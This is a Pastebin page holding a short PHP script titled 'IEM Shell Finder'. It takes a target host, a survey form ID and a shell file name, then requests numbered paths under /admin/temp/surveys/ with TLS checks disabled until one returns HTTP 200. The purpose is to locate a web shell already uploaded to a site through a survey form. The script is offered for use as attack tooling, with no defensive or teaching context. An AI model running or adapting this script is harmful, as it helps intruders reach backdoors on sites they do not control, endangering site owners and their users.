Advertisement
RintoMuhamad

IEM Shell Finder

May 19th, 2019
1,127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.36 KB | None | 0 0
  1. <?php
  2. // Coded by Con7ext
  3. $meh = array(
  4.   CURLOPT_CONNECTTIMEOUT => 120,
  5.   CURLOPT_TIMEOUT        => 120,
  6.   CURLOPT_RETURNTRANSFER => true,
  7.   CURLOPT_SSL_VERIFYHOST => false,
  8.   CURLOPT_SSL_VERIFYPEER => false,
  9.   CURLOPT_FOLLOWLOCATION => false,
  10.   CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
  11.   );
  12. echo " Put host like http://localhost.com/ or http://localhost.com/path\n";
  13. $host = readline("Host: ");
  14. $formid = readline("FormID: ");
  15. $shell = readline("ShellName: ");
  16. for($i =0; $i <= 100; $i++){ // You cant change 100 to 1000 or whatever you want :D
  17.   $ch = curl_init();
  18.   curl_setopt_array($ch, $meh);
  19.   curl_setopt($ch, CURLOPT_URL, $host."/admin/temp/surveys/".$formid."/".$i."/".$shell);
  20.   $output = curl_exec($ch);
  21.   $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  22.   curl_close($ch);
  23.   if($http == 200){
  24.     echo "Found >> ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
  25.     break;
  26.   }
  27.   else{
  28.     echo "Not Found ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
  29.   }
  30. // if u want to search using Pregmatch Just delete the comment :D
  31.  /* if(preg_match("/Login/", $output)){
  32.     echo "Found >> ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
  33.     break;
  34.   }
  35.   else{
  36.     echo "Not Found ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
  37.   }
  38.   */
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement